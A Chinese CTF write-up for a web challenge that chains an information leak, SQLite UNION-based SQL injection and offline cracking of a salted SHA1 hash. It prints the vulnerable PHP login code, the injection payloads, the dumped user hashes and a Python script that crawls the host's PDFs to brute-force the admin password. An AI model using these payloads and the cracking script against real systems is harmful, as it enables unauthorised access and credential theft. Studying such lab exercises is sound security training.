0x1 考点关键词

信息泄露、SQLite 注入、python 脚本编写处理 pdf 爆破密码

这次的脚本给我头都搞大了!!!

0x2 题目解答

》分析

打开题目发现主页上各种套娃,里面一堆 pdf 文件。

robots 信息泄露:

User-agent: *

Disallow: /login.php

Disallow: /admin.php

访问 login.php 登录界面,发现存在 sql 注入,但是是个 SQLite3 。

查看该页面源码,发现有 debug 提示,url 中输入?debug='' 成功弹出源码。

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?> 

通过 POST 接收 usr 和 pw 参数。没有做任何过滤,带入 sql 查询。若查询的结果 id 字段不为空,则执行setcookie 操作,会将查询的结果 name 字段插入到 cookie 中。从 and 起后面部分被注释掉。利用union联合查询sqlite系统表( sqlite_master),得到的id值其实是表的名字(name),而得到的name值其实是创建表时的语句(sql):

usr=' union select  name,sql  from sqlite_master--&pw=''

注意sqlite的注释符是 -- ,带入查询后,cookie 中的结果是:

    CREATE TABLE Users(
    id int primary key,
    name varchar(255),
    password varchar(255),
    hint varchar(255)
    )

这就出现了表名和表中的字段了,仍然在usr处用limit进行移位并查询:

usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=''  
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=''
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=''
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=''
idnamepasswordhint
1admin3fab54a50e770d830c0416df817567662a9dc85cmy fav word in my fav paper?!
2fritze54eae8935c90f467427f05e4ece82cf569f89507my love is…?
3hansi34b0bb7c304949f9ff2fc101eef0f048be10d3bdthe password is password

根据提示推测,admin 的密码是那堆 pdf 中的某个单词。所以要先把 pdf 都爬到本地,再写个脚本将每个单词加密后,和上面的密文对比。

》总结

网上直接搬运大佬的代码:https://blog.csdn.net/qq_43054896/article/details/104741052

这里记录一下PDF文字提取的代码,网上大多数的提取代码都比较复杂,导入一堆库,文字识别也不是很准确,pdfplumber 库比较好用,代码也很简洁,PDF表格内的文字也可以提取。

大佬下载PDF的时候用了wget 递归下载,真是没想到

wget 递归下载:wget xxx.com -r -np -nd -A .pdf

-r:层叠递归处理

-np:不向上(url 路径)递归

-nd:不创建和 web 网站相同(url 路径)的目录结构

-A type:文件类型

用 python 编写的 exp:

这里一定要注意提前创建好对应的文件目录,负责程序运行失败!!!

# coding = utf-8
import hashlib
import re
import os
import pdfplumber
import requests
from bs4 import BeautifulSoup

# 递归爬取URL
def get_url(url):
    try:
        r = requests.get(url)
        r.raise_for_status()
        soup = BeautifulSoup(r.text,'html.parser')
        tag_a_lst = soup.find_all('a')
        link_set = set()
        for i in tag_a_lst:
            if  ('../../' not in i['href']) and \
                ('8/index' not in i['href']) :
                # 去掉 URL 中的'index.html'
                href = url[:-10] + i['href']
                link_set.add(href)
                if ('pdf' not in href) and \
                    (i['href'] != 'index.html'):
                    link_set.update(get_url(href))
                    link_set.discard(href)
        return link_set
    except:
        print('get url error')
        return {}
# 下载PDF文件
def download(url,path):
    save_path = path + url.split('/')[-1]
    try:
        r = requests.get(url)
        r.raise_for_status()
        with open(save_path,'wb') as file:
            file.write(r.content)
            file.close()
    except:
        print('download error')

# PDF文字提取到txt文件
def pdf_to_txt(pdf_file,txt_file):
    try:
        pdf = pdfplumber.open(pdf_file)
        with open(txt_file, 'w+',encoding='UTF-8') as file:
            for page in pdf.pages:
                # 逐页提取文字
                contents = page.extract_text()
                file.write(contents)
            file.close()
        pdf.close()
    except:
        print('convert error')

def main():
    url = 'http://159.138.137.79:62552/index.html'
    root = 'D:/pdf_download/'
    link_lst = get_url(url)
    for link in link_lst:
        download(link,root)
    file_lst = os.listdir(root)
    r = re.compile('[\w]+')
    
    for i in range(1,len(file_lst)):
        pdf_file = root + file_lst[i-1]
        txt_file = root+'txt/%d.txt'%i
        pdf_to_txt(pdf_file,txt_file)
        
        with open(txt_file,'r', encoding='utf-8') as file:
            f = file.read()
        words_lst = r.findall(f)
        for j in words_lst:
            pw = j + "Salz!"
            encode = hashlib.sha1(pw.encode('utf-8')).hexdigest()
            if  encode == "3fab54a50e770d830c0416df817567662a9dc85c":
                print("password is :",j)
                break

if __name__ == '__main__':
    main()
图片.png

得到 admin 密码为:ThinJerboa

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

0x3 PS

sqlite_master 表是 SQLite 的系统表。该表记录该数据库中保存的表、索引、视图、和触发器信息。每一行记录一个项目。在创建一个 SQLIite 数据库的时候,该表会自动创建。sqlite_master 表包含5列。

type:记录了项目的类型,如 table、index、view、trigger 。

name:记录了项目的名称,如表名、索引名等。

tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身。

rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者 NULL 。

sql:记录创建该项目的 SQL 语句。


本网站博主